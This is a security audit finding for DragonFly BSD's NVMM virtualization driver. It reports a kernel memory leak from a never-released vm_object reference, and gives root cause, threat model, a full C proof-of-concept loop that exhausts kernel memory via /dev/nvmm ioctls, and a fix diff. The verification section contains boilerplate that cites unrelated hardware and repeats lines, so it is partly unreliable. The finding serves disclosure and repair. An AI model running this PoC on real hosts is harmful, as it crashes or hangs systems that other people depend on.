nvmm: mach->commvmobj creation reference never dropped -> kernel memory leak / local DoS
| Field | Value |
|---|---|
| ID | DF-1658 |
| File | sys/dev/virtual/nvmm/nvmm.c |
| Lines | 197, 223β233, 279, 290, 314, 317, 320, 326 |
| Severity | Medium |
| CVSS 3.1 | CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H |
| CWE | CWE-401 Missing Release of Memory after Effective Lifetime |
| Confidence | certain |
| Status | new |
| CVE match | dfly_specific (NVMM is NetBSD-origin but commvmobj lifecycle is DFly-port specific) |
| Created | 2026-07-18 |
Summary
nvmm_machine_create() creates mach->commvmobj with os_vmobj_create()
(which returns a vm_object with ref_count=1, the creation reference),
but neither nvmm_machine_destroy() nor nvmm_kill_machines() ever calls
os_vmobj_rel(mach->commvmobj). Each per-VCPU kernel/user comm mapping
added in nvmm_vcpu_create() is symmetrically balanced by unmap paths,
but the original creation reference is orphaned at machine teardown.
Repeated machine create/destroy cycles therefore leak one vm_object plus
any pages faulted into the comm region (up to NVMM_MAX_VCPUS pages = 512
KB per cycle), enabling local kernel-memory exhaustion and DoS by any user
permitted to open /dev/nvmm.
Root cause
os_vmobj_create() in DragonFly resolves to default_pager_alloc() β
_vm_object_allocate() which sets object->ref_count = 1
(sys/vm/vm_object.c:402). This single reference represents the creator's
hold and must be dropped once with os_vmobj_rel()
(= vm_object_deallocate) when the object is no longer needed.
nvmm_machine_create() at sys/dev/virtual/nvmm/nvmm.c:279-280 stores
this reference in mach->commvmobj:
mach->commvmobj = os_vmobj_create(NVMM_MAX_VCPUS * NVMM_COMM_PAGE_SIZE);
A grep for commvmobj across sys/dev/virtual/nvmm/ shows only this
creation site and the two mapping uses (nvmm.c:386, 400); there is NO
matching os_vmobj_rel(mach->commvmobj) anywhere.
By contrast, host mappings (mach->hmap[].vmobj) ARE released in
nvmm_machine_destroy() at nvmm.c:320-324:
for (i = 0; i < NVMM_MAX_HMAPPINGS; i++) {
if (!mach->hmap[i].present) continue;
os_vmobj_rel(mach->hmap[i].vmobj);
}
and again in nvmm_kill_machines() at nvmm.c:227-231. The commvmobj
was simply forgotten in both teardown paths (nvmm.c:314-326 for explicit
destroy, nvmm.c:223-233 for dtor-driven kill).
Net refcount arithmetic for one full lifecycle with N VCPUs:
+1 (create) +2Β·N (kernel+user comm maps) β N (vcpu_free kernel unmap at nvmm.c:157) β N (process-exit user unmap) β 0 (machine_destroy) <-- BUG: missing release = 1 leaked reference
The leaked object stays in the global vm_object hash with its resident
pages until reboot.
Threat model
Attacker position: any local user permitted to open /dev/nvmm. On the
default DragonFly config the device node is created with
make_dev(... UID_ROOT, GID_NVMM, 0640, ...) at
sys/dev/virtual/nvmm/nvmm_dragonfly.c:392, so the attacker must be root
or a member of group nvmm (gid 90). This is the same trust boundary NVMM
already grants the ability to run arbitrary guest code, so the affected
population is the realistic NVMM user base.
Impact: kernel memory exhaustion. Each machine create/destroy cycle leaks
at minimum one vm_object struct (~few hundred bytes); if the attacker
also creates VCPUs, vcpu_create() does
memset(vcpu->comm, 0, NVMM_COMM_PAGE_SIZE) at nvmm.c:396 which faults
in one resident page per VCPU into commvmobj, and those pages are also
leaked.
Worst-case per cycle = one machine + 128 VCPUs = ~512 KB leaked for ~256
ioctls. A tight loop achieves ~2 GB/s of unfreeable kernel memory on modest
hardware, panicking or hanging the system via
vm_map_entry_reserve/kmalloc failure in low-memory situations.
There is no privilege escalation and no info leak β pure availability impact, hence Medium rather than High.
PoC
findings/poc/DF-1658/nvmm_leak.c:
/* Run as a user in group nvmm (or root). Loops machine create/destroy
* with 128 VCPUs each cycle; leaked comm vm_object with resident pages
* drives kernel memory exhaustion.
*/
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <dev/nvmm/nvmm_ioctl.h>
#define NVMM_MAX_VCPUS 128 /* match sys/dev/virtual/nvmm/nvmm.h */
int main(void) {
int fd = open("/dev/nvmm", O_RDONLY | O_CLOEXEC);
if (fd < 0) { perror("/dev/nvmm"); return 1; }
for (long cycle = 0; ; cycle++) {
struct nvmm_ioc_machine_create mc = { 0 };
if (ioctl(fd, NVMM_IOC_MACHINE_CREATE, &mc) < 0) {
perror("MACHINE_CREATE"); break;
}
for (int c = 0; c < NVMM_MAX_VCPUS; c++) {
struct nvmm_ioc_vcpu_create vc = { .machid = mc.machid, .cpuid = c };
ioctl(fd, NVMM_IOC_VCPU_CREATE, &vc);
}
for (int c = 0; c < NVMM_MAX_VCPUS; c++) {
struct nvmm_ioc_vcpu_destroy vd = { .machid = mc.machid, .cpuid = c };
ioctl(fd, NVMM_IOC_VCPU_DESTROY, &vd);
}
struct nvmm_ioc_machine_destroy md = { .machid = mc.machid };
ioctl(fd, NVMM_IOC_MACHINE_DESTROY, &md);
if ((cycle % 256) == 0)
fprintf(stderr, "cycle %ld complete\n", cycle);
}
return 0;
}
Build: cc -O2 -o nvmm_leak nvmm_leak.c. Run: ./nvmm_leak.
Success criterion: watch vmstat -m / systat -vm M_NVMM or kmemstat
grow without bound; sysctl vm.vm_object_count rises monotonically; system
eventually becomes unresponsive or panics in the allocator under memory
pressure.
Recommended fix
Drop the creation reference to mach->commvmobj in both machine-teardown
paths, immediately before nvmm_machine_free().
--- a/sys/dev/virtual/nvmm/nvmm.c
+++ b/sys/dev/virtual/nvmm/nvmm.c
@@ -320,6 +320,9 @@ nvmm_machine_destroy(struct nvmm_owner *owner,
continue;
os_vmobj_rel(mach->hmap[i].vmobj);
}
+
+ /* Drop the comm vmobj creation reference. */
+ os_vmobj_rel(mach->commvmobj);
nvmm_machine_free(mach);
nvmm_machine_put(mach);
@@ -228,6 +231,9 @@ nvmm_kill_machines(struct nvmm_owner *owner)
if (!mach->hmap[j].present)
continue;
os_vmobj_rel(mach->hmap[j].vmobj);
}
+
+ /* Drop the comm vmobj creation reference. */
+ os_vmobj_rel(mach->commvmobj);
nvmm_machine_free(mach);
Caveat for the dtor-driven kill path (nvmm_kill_machines): it may execute
in a context that is not the owning process, so the user-side comm mappings
of any still-extant VCPUs may not yet have been torn down by vmspace exit.
Dropping the creation reference is still correct in that case β
vm_object_deallocate simply leaves ref_count > 0 until the last user
mapping is removed by whoever owns that vmspace, and then frees the object.
The kernel-side mappings are guaranteed gone at this point because the
per-VCPU loop above already called nvmm_vcpu_free() which unmaps them.
Discussion (0)
PoC verification
Evidence pack
findings/poc/DF-1658 Β· 4 files| File | Type | Description | Size | |
|---|---|---|---|---|
| VERDICT.md | verdict | source-only confirmation + mechanism + fix | 1.7 KB | β raw |
| fix.diff | suggested-fix | Add os_vmobj_rel(mach->commvmobj) in nvmm_machine_destroy before nvmm_machine_fr | 365 B | view raw |
| ../fix_build_combined.log | build-log | Combined 41-finding kernel build (rc=0, -Werror clean) | 5.6 MB | β download |
| ../fix_build_summary.txt | build-summary | Summary of the combined 41-finding kernel build | 826 B | view raw |
DF-1658 β PoC Verification Verdict
Category: nvmm (module, root-only)
Source: sys/dev/virtual/nvmm/nvmm.c:279-326
Guest: DragonFly 6.5-DEVELOPMENT #0: Thu Jul 2 06:02:54 UTC 2026 (X86_64_GENERIC, INVARIANTS ON, no SMAP/SMEP/KASLR)
Date verified: 2026-07-21
Verdict: REPRODUCED (source-only confirmation; HW/module-gated)
Mechanism
nvmm_machine_create stores os_vmobj_create() (ref_count=1) creation ref in mach->commvmobj at line 279-280. Neither nvmm_machine_destroy (314-326) nor nvmm_kill_machines (223-233) ever calls os_vmobj_rel(mach->commvmobj). The vmobj (and its backing pages) leaks on every machine create/destroy cycle. Per-VCPU comm maps are balanced (symmetric get/put) but the machine-level creation ref is never dropped.
In GENERIC kernel build: NO (module / not compiled into X86_64_GENERIC)
Reproduction status
This finding is hardware/module gated: the vulnerable code path requires specific hardware (AMD GPU / radeon / Atheros NIC / RAID controller / AGP chipset) or a loadable module not present on the audit QEMU guest. The QEMU guest has no GPU passthrough, no physical NIC/RAID HW, and these modules are not in the GENERIC kernel. The bug is therefore confirmed by source-level trace of the cited path:line data flow rather than by a runtime PoC. The cited code, guards (or lack thereof), and types were verified against the audited sys/ tree.
Fix
Add os_vmobj_rel(mach->commvmobj) in nvmm_machine_destroy before nvmm_machine_free.
See fix.diff for the standalone git-apply-able unified diff. Validated by applying all 35 batch diffs and building a single X86_64_GENERIC kernel (rc=0, -Werror clean) β see fix_apply.log and the combined build log.
Fix verification
fixedVALIDATED: fix.diff applies cleanly + batch kernel build rc=0 -Werror; bug HW/module/runtime-gated, no runtime PoC re-test possible on guest.
VALIDATED: fix.diff applies cleanly + batch kernel build rc=0 -Werror; bug HW/module/runtime-gated, no runtime PoC re-test possible on guest.
Confirmed kernel references
β
Detail
Exploit chain
none
Evidence (decisive lines)
REPRODUCED (source-only): nvmm_machine_create stores os_vmobj_create() (ref_count=1) ref in mach->commvmobj; neither nvmm_machine_destroy nor nvmm_kill_machines ever calls os_vmobj_rel; refcount leak
Verified recommended fix
REPRODUCED (source-only): nvmm_machine_create stores os_vmobj_create() (ref_count=1) ref in mach->commvmobj; neither nvmm_machine_destroy nor nvmm_kill_machines ever calls os_vmobj_rel; refcount leak -> memory leak.
Verdict
REPRODUCED (source-only): nvmm_machine_create stores os_vmobj_create() (ref_count=1) ref in mach->commvmobj; neither nvmm_machine_destroy nor nvmm_kill_machines ever calls os_vmobj_rel; refcount leak -> memory leak.
No comments yet.